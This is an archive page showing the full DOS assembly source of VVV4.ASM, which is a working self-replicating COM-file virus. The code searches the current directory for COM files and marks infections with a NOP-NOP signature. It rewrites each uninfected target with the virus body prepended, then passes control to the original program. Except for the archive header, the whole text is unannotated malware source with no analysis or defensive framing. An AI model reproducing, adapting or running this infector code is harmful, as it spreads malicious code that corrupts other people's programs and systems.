home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / VVV4.ASM < prev    next >
Assembly Source File  |  1990-11-16  |  2KB  |  135 lines
  1. .model    tiny
  2. .code
  3. org     100h
  4. kkk:
  5.     nop    ; ID
  6.     nop    ; ID
  7.  
  8.     mov    cx,80h
  9.     mov    si,0080h
  10.     mov    di,0ff7fh
  11.     rep    movsb        ; save param
  12.  
  13.     lea    ax,begp        ; begin prog
  14.     mov    cx,ax
  15.         sub     ax,100h
  16.         mov     ds:[0fah],ax   ; len VIR
  17.     add    cx,fso
  18.         mov     ds:[0f8h],cx   ; begin buffer W
  19.         ADD     CX,AX
  20.         mov     ds:[0f6h],cx   ; begin buffer R
  21.  
  22.         mov     cx,ax
  23.     lea    si,kkk
  24.         mov     di,ds:[0f8h]
  25. RB:     REP     MOVSB           ; move v
  26.  
  27.         stc
  28.  
  29.         LEA     DX,FFF
  30.         MOV     AH,4EH
  31.         MOV     CX,20H
  32.         INT     21H        ;  find first
  33.  
  34.     or    ax,ax
  35.     jz    LLL
  36.     jmp    done
  37.  
  38. LLL:
  39.     MOV     AH,2FH
  40.         INT     21H        ; get DTA
  41.  
  42.     mov    ax,es:[bx+1ah]
  43.         mov     ds:[0fch],ax   ; size
  44.     add    bx,1eh
  45.         mov     ds:[0feh],bx   ; point to name
  46.  
  47.     add    ax,180h        ; if new len file + len VIR + 180h > FFF0
  48.     add    ax,ds:[0fah]    ;    then skip this file
  49.     add    ax,fso
  50.     cmp    ax,0fff0h
  51.     ja    fin
  52.  
  53.     clc
  54.     mov    ax,3d02h
  55.     mov    dx,bx
  56.     int    21h        ; open file
  57.  
  58.     mov    bx,ax
  59.     mov    ah,3fh
  60.         mov     cx,ds:[0fch]
  61.         mov     dx,ds:[0f6h]
  62.     int    21h        ; read file
  63.  
  64.     mov    bx,dx        
  65.     mov    ax,[bx]
  66.     sub    ax,9090h
  67.     jz    fin        ; if file inf. then skip this file
  68.  
  69.  
  70.         MOV     AX,ds:[0fch]
  71.         mov     bx,ds:[0f6h]
  72.         mov     [bx-2],ax      ; correct old len
  73.  
  74.     mov    ah,3ch
  75.     mov    cx,00h
  76.         mov     dx,ds:[0feh]   ; point to name
  77.     clc
  78.     int    21h        ; create file
  79.  
  80.     mov    bx,ax        ; #
  81.     mov    ah,40h
  82.         mov     cx,ds:[0fch]
  83.         add     cx,ds:[0fah]
  84.         mov     DX,ds:[0f8h]
  85.     int    21h        ; write file
  86.  
  87.  
  88.     mov    ah,3eh
  89.     int    21h        ;close file
  90.  
  91. FIN:
  92.     stc
  93.     mov    ah,4fh
  94.     int    21h        ; find next
  95.  
  96.     or    ax,ax
  97.     jnz    done
  98.  
  99.         JMP     lll
  100.  
  101. DONE:
  102.  
  103.     mov    cx,80h
  104.     mov    si,0ff7fh
  105.     mov    di,0080h
  106.     rep    movsb        ; restore param
  107.  
  108.         MOV     AX,0A4F3H
  109.         mov     ds:[0fff9h],ax
  110.     mov    al,0eah
  111.     mov    ds:[0fffbh],al
  112.     mov    ax,100h
  113.     mov    ds:[0fffch],ax    ; remove REP MOVSB and FAR JMP cs:0100 
  114.  
  115.     lea    si,begp
  116.     lea    di,kkk
  117.     mov    ax,cs
  118.     mov    ds:[0fffeh],ax
  119.     mov    kk,ax
  120.     mov    cx,fso
  121.  
  122.     db    0eah
  123.         dw      0fff9h
  124. kk    dw    0000h
  125.  
  126. fff    db    '*?.com',0
  127. fso    dw    0005h    ; source len file
  128.  
  129.  
  130. begp:
  131.     MOV     AX,4C00H
  132.     int     21h        ; exit
  133.  
  134. end    kkk
  135.